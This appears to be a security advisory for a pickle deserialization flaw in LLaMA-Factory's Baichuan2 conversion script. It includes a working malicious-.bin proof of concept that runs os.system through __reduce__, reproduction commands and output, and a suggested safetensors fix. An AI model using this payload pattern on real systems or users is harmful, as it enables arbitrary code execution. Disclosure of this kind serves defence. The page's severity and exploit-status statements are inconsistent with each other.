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PYSEC-2026-1574

MediumCVSS 6.1 / 10
Published Jul 7, 2026·Last modified Jul 7, 2026
Affected Components(1)
PyPI logollamafactory
< 0.9.3
Description

Description

A critical vulnerability exists in the llamafy_baichuan2.py script of the LLaMA-Factory project. The script performs insecure deserialization using torch.load() on user-supplied .bin files from an input directory. An attacker can exploit this behavior by crafting a malicious .bin file that executes arbitrary commands during deserialization.

Attack Vector

This vulnerability is exploitable without authentication or privileges when a user is tricked into:

  1. Downloading or cloning a malicious project folder containing a crafted .bin file (e.g. via zip file, GitHub repo).
  2. Running the provided conversion script llamafy_baichuan2.py, either manually or as part of an example workflow.

No elevated privileges are required. The user only needs to run the script with an attacker-supplied --input_dir.

Impact

  • Arbitrary command execution (RCE)
  • System compromise
  • Persistence or lateral movement in shared compute environments

Proof of Concept (PoC)

# malicious_payload.py
import torch, pickle, os

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ("mkdir HACKED!",))  # Arbitrary command

malicious_data = {
    "v_head.summary.weight": MaliciousPayload(),
    "v_head.summary.bias": torch.randn(10)
}

with open("value_head.bin", "wb") as f:
    pickle.dump(malicious_data, f)

An example of config.json:

{
  "model": "value_head.bin",
  "hidden_size": 4096,
  "num_attention_heads": 32,
  "num_hidden_layers": 24,
  "initializer_range": 0.02,
  "intermediate_size": 11008,
  "max_position_embeddings": 4096,
  "kv_channels": 128,
  "layer_norm_epsilon": 1e-5,
  "tie_word_embeddings": false,
  "vocab_size": 151936
}
(base) root@d6ab70067470:~/LLaMA-Factory_latest# tree
.
`-- LLaMA-Factory
    |-- LICENSE
    |-- README.md
    |-- malicious_folder
    |   |-- config.json
    |   `-- value_head.bin
    `-- xxxxx(Irrelevant documents omitted)
# Reproduction
python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out

➡️ Running this will execute the malicious payload and create a HACKED! folder.

(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls
CITATION.cff  LICENSE  MANIFEST.in  Makefile  README.md  README_zh.md  assets  data  docker  evaluation  examples  malicious_folder  pyproject.toml  requirements.txt  scripts  setup.py  src  tests
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out
2025-04-23 07:36:58.435304: E external/local_xla/xla/stream_executor/cuda/cuda_fft.cc:477] Unable to register cuFFT factory: Attempting to register factory for plugin cuFFT when one has already been registered
WARNING: All log messages before absl::InitializeLog() is called are written to STDERR
E0000 00:00:1745393818.451398    1008 cuda_dnn.cc:8310] Unable to register cuDNN factory: Attempting to register factory for plugin cuDNN when one has already been registered
E0000 00:00:1745393818.456423    1008 cuda_blas.cc:1418] Unable to register cuBLAS factory: Attempting to register factory for plugin cuBLAS when one has already been registered
2025-04-23 07:36:58.472951: I tensorflow/core/platform/cpu_feature_guard.cc:210] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations.
To enable the following instructions: AVX2 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags.
Load weights:  50%|██████████████████████████████████████████████████████████████████████████████████▌                                                                                  | 1/2 [00:00<00:00, 123.70it/s]
Traceback (most recent call last):
  File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 112, in <module>
    fire.Fire(llamafy_baichuan2)
  File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 135, in Fire
    component_trace = _Fire(component, args, parsed_flag_args, context, name)
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 468, in _Fire
    component, remaining_args = _CallAndUpdateTrace(
                                ^^^^^^^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/fire/core.py", line 684, in _CallAndUpdateTrace
    component = fn(*varargs, **kwargs)
                ^^^^^^^^^^^^^^^^^^^^^^
  File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 107, in llamafy_baichuan2
    save_weight(input_dir, output_dir, shard_size, save_safetensors)
  File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 35, in save_weight
    shard_weight = torch.load(os.path.join(input_dir, filepath), map_location="cpu")
                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py", line 1040, in load
    return _legacy_load(opened_file, map_location, pickle_module, **pickle_load_args)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/torch/serialization.py", line 1260, in _legacy_load
    raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
(base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls
 CITATION.cff   LICENSE       Makefile    README_zh.md   data     evaluation   malicious_folder   pyproject.toml     scripts    src
'HACKED!'       MANIFEST.in   README.md   assets         docker   examples     out                requirements.txt   setup.py   tests

Affected File(s)

  • https://github.com/hiyouga/LLaMA-Factory/blob/main/scripts/convert_ckpt/llamafy_baichuan2.py#L35
  • scripts/convert_ckpt/llamafy_baichuan2.py
  • Line: torch.load(os.path.join(input_dir, filepath), map_location="cpu")

Suggested Fix

  • Replace torch.load() with safer alternatives like safetensors.
  • Validate and whitelist file types before deserialization.
  • Require checksum validation.

Example patch:

# Replace torch.load() with safe deserialization
try:
    from safetensors.torch import load_file
    tensor_data = load_file(filepath)
except Exception:
    print("Invalid or unsafe checkpoint file.")
    return

Workarounds

  • Avoid running the script with untrusted .bin files.
  • Use containers or VMs to isolate script execution.

References

Credits

Discovered and reported by Yu Rong and Hao Fan, 2025-04-23

Risk Scores
Base Score
6.1

The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data. There is a low impact on the availability of the system.

Threat Intelligence
5.6

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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